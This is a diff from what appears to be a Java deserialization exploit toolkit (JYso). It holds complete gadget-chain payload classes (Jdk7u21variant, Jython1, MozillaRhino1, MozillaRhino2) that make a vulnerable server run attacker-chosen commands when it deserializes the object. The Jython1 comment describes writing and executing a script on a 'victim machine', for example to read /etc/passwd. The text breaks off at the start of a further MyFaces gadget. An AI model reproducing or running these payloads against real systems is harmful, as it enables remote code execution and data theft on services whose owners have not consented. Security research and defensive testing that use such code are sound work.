||||
@@ -1,49 +1,49 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.rmi.MarshalledObject;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Authors({"potats0"})
|
||||
public class Jdk7u21variant implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
String zeroHashCodeStr = "f5a5a608";
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put(zeroHashCodeStr, "foo");
|
||||
|
||||
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
||||
Templates proxy = createProxy(tempHandler, Templates.class);
|
||||
|
||||
LinkedHashSet set = new LinkedHashSet();
|
||||
set.add(templates);
|
||||
set.add(proxy);
|
||||
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||
Reflections.setFieldValue(templates, "_class", null);
|
||||
|
||||
map.put(zeroHashCodeStr, templates);
|
||||
|
||||
MarshalledObject marshalledObject = new MarshalledObject(set);
|
||||
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
|
||||
|
||||
set = new LinkedHashSet(); // maintain order
|
||||
set.add(marshalledObject);
|
||||
set.add(proxy);
|
||||
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
|
||||
return set;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.rmi.MarshalledObject;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Authors({"potats0"})
|
||||
public class Jdk7u21variant implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
String zeroHashCodeStr = "f5a5a608";
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put(zeroHashCodeStr, "foo");
|
||||
|
||||
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
||||
Templates proxy = createProxy(tempHandler, Templates.class);
|
||||
|
||||
LinkedHashSet set = new LinkedHashSet();
|
||||
set.add(templates);
|
||||
set.add(proxy);
|
||||
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||
Reflections.setFieldValue(templates, "_class", null);
|
||||
|
||||
map.put(zeroHashCodeStr, templates);
|
||||
|
||||
MarshalledObject marshalledObject = new MarshalledObject(set);
|
||||
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
|
||||
|
||||
set = new LinkedHashSet(); // maintain order
|
||||
set.add(marshalledObject);
|
||||
set.add(proxy);
|
||||
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
|
||||
return set;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,100 +1,100 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.python.core.*;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.math.BigInteger;
|
||||
import java.util.Arrays;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
* <p>
|
||||
* This version of Jython1 writes a python script on the victim machine and
|
||||
* executes it. The format of the parameters is:
|
||||
* <p>
|
||||
* <local path>;<remote path>
|
||||
* <p>
|
||||
* Where local path is the python script's location on the attack box and
|
||||
* remote path is the location where the script will be written/executed from.
|
||||
* For example:
|
||||
* <p>
|
||||
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
|
||||
* <p>
|
||||
* In the above example, if "read_etc_passwd.py" simply contained the string:
|
||||
* <p>
|
||||
* raise Exception(open('/etc/passwd', 'r').read())
|
||||
* <p>
|
||||
* Then, when deserialized, the script will read in /etc/passwd and raise an
|
||||
* exception with its contents (which could be useful if the target returns
|
||||
* exception information).
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.python:jython-standalone:2.5.2"})
|
||||
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||
public class Jython1 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
|
||||
|
||||
String[] paths = command.split(":");
|
||||
if (paths.length != 2) {
|
||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
|
||||
}
|
||||
|
||||
// Set payload parameters
|
||||
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
|
||||
|
||||
// Python bytecode to write a file on disk and execute it
|
||||
String code =
|
||||
"740000" + //0 LOAD_GLOBAL 0 (open)
|
||||
"640100" + //3 LOAD_CONST 1 (remote path)
|
||||
"640200" + //6 LOAD_CONST 2 ('w+')
|
||||
"830200" + //9 CALL_FUNCTION 2
|
||||
"7D0000" + //12 STORE_FAST 0 (file)
|
||||
|
||||
"7C0000" + //15 LOAD_FAST 0 (file)
|
||||
"690100" + //18 LOAD_ATTR 1 (write)
|
||||
"640300" + //21 LOAD_CONST 3 (python code)
|
||||
"830100" + //24 CALL_FUNCTION 1
|
||||
"01" + //27 POP_TOP
|
||||
|
||||
"7C0000" + //28 LOAD_FAST 0 (file)
|
||||
"690200" + //31 LOAD_ATTR 2 (close)
|
||||
"830000" + //34 CALL_FUNCTION 0
|
||||
"01" + //37 POP_TOP
|
||||
|
||||
"740300" + //38 LOAD_GLOBAL 3 (execfile)
|
||||
"640100" + //41 LOAD_CONST 1 (remote path)
|
||||
"830100" + //44 CALL_FUNCTION 1
|
||||
"01" + //47 POP_TOP
|
||||
"640000" + //48 LOAD_CONST 0 (None)
|
||||
"53"; //51 RETURN_VALUE
|
||||
|
||||
// Helping consts and names
|
||||
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
|
||||
String[] names = new String[]{"open", "write", "close", "execfile"};
|
||||
|
||||
// Generating PyBytecode wrapper for our python bytecode
|
||||
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
|
||||
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
|
||||
|
||||
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
|
||||
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
|
||||
|
||||
// Prepare Trigger Gadget
|
||||
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
|
||||
Object[] queue = new Object[]{1, 1};
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||
return priorityQueue;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.python.core.*;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.math.BigInteger;
|
||||
import java.util.Arrays;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
* <p>
|
||||
* This version of Jython1 writes a python script on the victim machine and
|
||||
* executes it. The format of the parameters is:
|
||||
* <p>
|
||||
* <local path>;<remote path>
|
||||
* <p>
|
||||
* Where local path is the python script's location on the attack box and
|
||||
* remote path is the location where the script will be written/executed from.
|
||||
* For example:
|
||||
* <p>
|
||||
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
|
||||
* <p>
|
||||
* In the above example, if "read_etc_passwd.py" simply contained the string:
|
||||
* <p>
|
||||
* raise Exception(open('/etc/passwd', 'r').read())
|
||||
* <p>
|
||||
* Then, when deserialized, the script will read in /etc/passwd and raise an
|
||||
* exception with its contents (which could be useful if the target returns
|
||||
* exception information).
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.python:jython-standalone:2.5.2"})
|
||||
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||
public class Jython1 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
|
||||
|
||||
String[] paths = command.split(":");
|
||||
if (paths.length != 2) {
|
||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
|
||||
}
|
||||
|
||||
// Set payload parameters
|
||||
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
|
||||
|
||||
// Python bytecode to write a file on disk and execute it
|
||||
String code =
|
||||
"740000" + //0 LOAD_GLOBAL 0 (open)
|
||||
"640100" + //3 LOAD_CONST 1 (remote path)
|
||||
"640200" + //6 LOAD_CONST 2 ('w+')
|
||||
"830200" + //9 CALL_FUNCTION 2
|
||||
"7D0000" + //12 STORE_FAST 0 (file)
|
||||
|
||||
"7C0000" + //15 LOAD_FAST 0 (file)
|
||||
"690100" + //18 LOAD_ATTR 1 (write)
|
||||
"640300" + //21 LOAD_CONST 3 (python code)
|
||||
"830100" + //24 CALL_FUNCTION 1
|
||||
"01" + //27 POP_TOP
|
||||
|
||||
"7C0000" + //28 LOAD_FAST 0 (file)
|
||||
"690200" + //31 LOAD_ATTR 2 (close)
|
||||
"830000" + //34 CALL_FUNCTION 0
|
||||
"01" + //37 POP_TOP
|
||||
|
||||
"740300" + //38 LOAD_GLOBAL 3 (execfile)
|
||||
"640100" + //41 LOAD_CONST 1 (remote path)
|
||||
"830100" + //44 CALL_FUNCTION 1
|
||||
"01" + //47 POP_TOP
|
||||
"640000" + //48 LOAD_CONST 0 (None)
|
||||
"53"; //51 RETURN_VALUE
|
||||
|
||||
// Helping consts and names
|
||||
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
|
||||
String[] names = new String[]{"open", "write", "close", "execfile"};
|
||||
|
||||
// Generating PyBytecode wrapper for our python bytecode
|
||||
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
|
||||
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
|
||||
|
||||
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
|
||||
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
|
||||
|
||||
// Prepare Trigger Gadget
|
||||
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
|
||||
Object[] queue = new Object[]{1, 1};
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||
return priorityQueue;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,72 +1,72 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import org.mozilla.javascript.*;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
|
||||
|
||||
/*
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"rhino:js:1.7R2"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
|
||||
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
|
||||
Reflections.setAccessible(nativeErrorConstructor);
|
||||
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
|
||||
|
||||
Context context = Context.enter();
|
||||
|
||||
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
|
||||
|
||||
Method enterMethod = Context.class.getDeclaredMethod("enter");
|
||||
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
|
||||
idScriptableObject.setGetterOrSetter("name", 0, method, false);
|
||||
|
||||
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
|
||||
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
|
||||
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
|
||||
|
||||
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(getSlot);
|
||||
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
|
||||
Field getter = slot.getClass().getDeclaredField("getter");
|
||||
Reflections.setAccessible(getter);
|
||||
|
||||
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
|
||||
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
|
||||
Reflections.setAccessible(memberboxClassConstructor);
|
||||
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
|
||||
getter.set(slot, memberboxes);
|
||||
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class);
|
||||
idScriptableObject.setPrototype(nativeObject);
|
||||
|
||||
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
||||
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
|
||||
Reflections.setAccessible(valField);
|
||||
valField.set(badAttributeValueExpException, idScriptableObject);
|
||||
return badAttributeValueExpException;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import org.mozilla.javascript.*;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
|
||||
|
||||
/*
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"rhino:js:1.7R2"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
|
||||
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
|
||||
Reflections.setAccessible(nativeErrorConstructor);
|
||||
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
|
||||
|
||||
Context context = Context.enter();
|
||||
|
||||
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
|
||||
|
||||
Method enterMethod = Context.class.getDeclaredMethod("enter");
|
||||
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
|
||||
idScriptableObject.setGetterOrSetter("name", 0, method, false);
|
||||
|
||||
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
|
||||
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
|
||||
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
|
||||
|
||||
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(getSlot);
|
||||
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
|
||||
Field getter = slot.getClass().getDeclaredField("getter");
|
||||
Reflections.setAccessible(getter);
|
||||
|
||||
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
|
||||
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
|
||||
Reflections.setAccessible(memberboxClassConstructor);
|
||||
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
|
||||
getter.set(slot, memberboxes);
|
||||
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class);
|
||||
idScriptableObject.setPrototype(nativeObject);
|
||||
|
||||
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
||||
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
|
||||
Reflections.setAccessible(valField);
|
||||
valField.set(badAttributeValueExpException, idScriptableObject);
|
||||
return badAttributeValueExpException;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,105 +1,105 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.mozilla.javascript.*;
|
||||
import org.mozilla.javascript.tools.shell.Environment;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
|
||||
* <p>
|
||||
* Chain:
|
||||
* <p>
|
||||
* NativeJavaObject.readObject()
|
||||
* JavaAdapter.readAdapterObject()
|
||||
* ObjectInputStream.readObject()
|
||||
* ...
|
||||
* NativeJavaObject.readObject()
|
||||
* JavaAdapter.readAdapterObject()
|
||||
* JavaAdapter.getAdapterClass()
|
||||
* JavaAdapter.getObjectFunctionNames()
|
||||
* ScriptableObject.getProperty()
|
||||
* ScriptableObject.get()
|
||||
* ScriptableObject.getImpl()
|
||||
* Method.invoke()
|
||||
* Context.enter()
|
||||
* JavaAdapter.getAdapterClass()
|
||||
* JavaAdapter.getObjectFunctionNames()
|
||||
* ScriptableObject.getProperty()
|
||||
* NativeJavaArray.get()
|
||||
* NativeJavaObject.get()
|
||||
* JavaMembers.get()
|
||||
* Method.invoke()
|
||||
* TemplatesImpl.getOutputProperties()
|
||||
* ...
|
||||
* <p>
|
||||
* by @_tint0
|
||||
*/
|
||||
@SuppressWarnings({"unchecked","unused"})
|
||||
@Dependencies({"rhino:js:1.7R2"})
|
||||
@Authors({Authors.TINT0})
|
||||
public class MozillaRhino2 implements ObjectPayload<Object> {
|
||||
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
|
||||
out.writeObject("java.lang.Object");
|
||||
out.writeObject(new String[0]);
|
||||
out.writeObject(javaObject);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ScriptableObject dummyScope = new Environment();
|
||||
Map<Object, Object> associatedValues = new Hashtable<>();
|
||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
|
||||
|
||||
Object initContextMemberBox = Reflections.createWithConstructor(
|
||||
Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
(Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
new Class[]{Method.class},
|
||||
new Object[]{Context.class.getMethod("enter")});
|
||||
|
||||
ScriptableObject initContextScriptableObject = new Environment();
|
||||
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(makeSlot);
|
||||
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
|
||||
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
|
||||
|
||||
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
||||
|
||||
ScriptableObject scriptableObject = new Environment();
|
||||
scriptableObject.setParentScope(initContextNativeJavaObject);
|
||||
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
|
||||
|
||||
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
||||
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
|
||||
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl);
|
||||
nativeJavaArray.setPrototype(scriptableObject);
|
||||
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
||||
|
||||
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
||||
return nativeJavaObject;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.mozilla.javascript.*;
|
||||
import org.mozilla.javascript.tools.shell.Environment;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
|
||||
* <p>
|
||||
* Chain:
|
||||
* <p>
|
||||
* NativeJavaObject.readObject()
|
||||
* JavaAdapter.readAdapterObject()
|
||||
* ObjectInputStream.readObject()
|
||||
* ...
|
||||
* NativeJavaObject.readObject()
|
||||
* JavaAdapter.readAdapterObject()
|
||||
* JavaAdapter.getAdapterClass()
|
||||
* JavaAdapter.getObjectFunctionNames()
|
||||
* ScriptableObject.getProperty()
|
||||
* ScriptableObject.get()
|
||||
* ScriptableObject.getImpl()
|
||||
* Method.invoke()
|
||||
* Context.enter()
|
||||
* JavaAdapter.getAdapterClass()
|
||||
* JavaAdapter.getObjectFunctionNames()
|
||||
* ScriptableObject.getProperty()
|
||||
* NativeJavaArray.get()
|
||||
* NativeJavaObject.get()
|
||||
* JavaMembers.get()
|
||||
* Method.invoke()
|
||||
* TemplatesImpl.getOutputProperties()
|
||||
* ...
|
||||
* <p>
|
||||
* by @_tint0
|
||||
*/
|
||||
@SuppressWarnings({"unchecked","unused"})
|
||||
@Dependencies({"rhino:js:1.7R2"})
|
||||
@Authors({Authors.TINT0})
|
||||
public class MozillaRhino2 implements ObjectPayload<Object> {
|
||||
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
|
||||
out.writeObject("java.lang.Object");
|
||||
out.writeObject(new String[0]);
|
||||
out.writeObject(javaObject);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ScriptableObject dummyScope = new Environment();
|
||||
Map<Object, Object> associatedValues = new Hashtable<>();
|
||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
|
||||
|
||||
Object initContextMemberBox = Reflections.createWithConstructor(
|
||||
Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
(Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
new Class[]{Method.class},
|
||||
new Object[]{Context.class.getMethod("enter")});
|
||||
|
||||
ScriptableObject initContextScriptableObject = new Environment();
|
||||
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(makeSlot);
|
||||
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
|
||||
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
|
||||
|
||||
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
||||
|
||||
ScriptableObject scriptableObject = new Environment();
|
||||
scriptableObject.setParentScope(initContextNativeJavaObject);
|
||||
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
|
||||
|
||||
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
||||
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
|
||||
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl);
|
||||
nativeJavaArray.setPrototype(scriptableObject);
|
||||
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
||||
|
||||
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
||||
return nativeJavaObject;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,84 +1,84 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.myfaces.context.servlet.FacesContextImpl;
|
||||
import org.apache.myfaces.context.servlet.FacesContextImplBase;
|
||||
import org.apache.myfaces.el.CompositeELResolver;
|
||||
import org.apache.myfaces.el.unified.FacesELContext;
|
||||
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
|
||||
|
||||
